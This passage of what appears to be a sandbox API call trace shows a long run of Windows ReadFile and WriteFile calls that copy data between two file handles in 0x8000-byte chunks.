	[0257.425] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.425] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.428] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.428] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.429] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.429] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.430] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.430] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.431] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.431] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.432] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.432] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.433] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.433] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.435] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.435] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.436] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.436] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.438] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.438] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.439] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.440] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.441] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.441] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.442] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.443] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.444] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.444] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.445] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.445] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.446] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.446] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.447] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.447] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.455] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.456] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.457] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.457] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.458] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.458] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.459] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.459] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.460] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.460] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.461] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.461] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.462] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.462] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.464] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.464] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.467] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.467] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.468] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.468] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.469] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.469] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.470] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.470] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.472] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.472] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.473] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.473] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.474] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.474] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.475] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.475] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.479] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.479] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.480] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.480] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.482] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.482] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.483] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.484] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.485] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.485] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.486] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.486] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.487] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.487] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.488] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.488] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.495] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.495] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.496] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.496] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.497] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.498] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.499] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.499] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.500] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x5e4e, lpOverlapped=0x0) returned 1
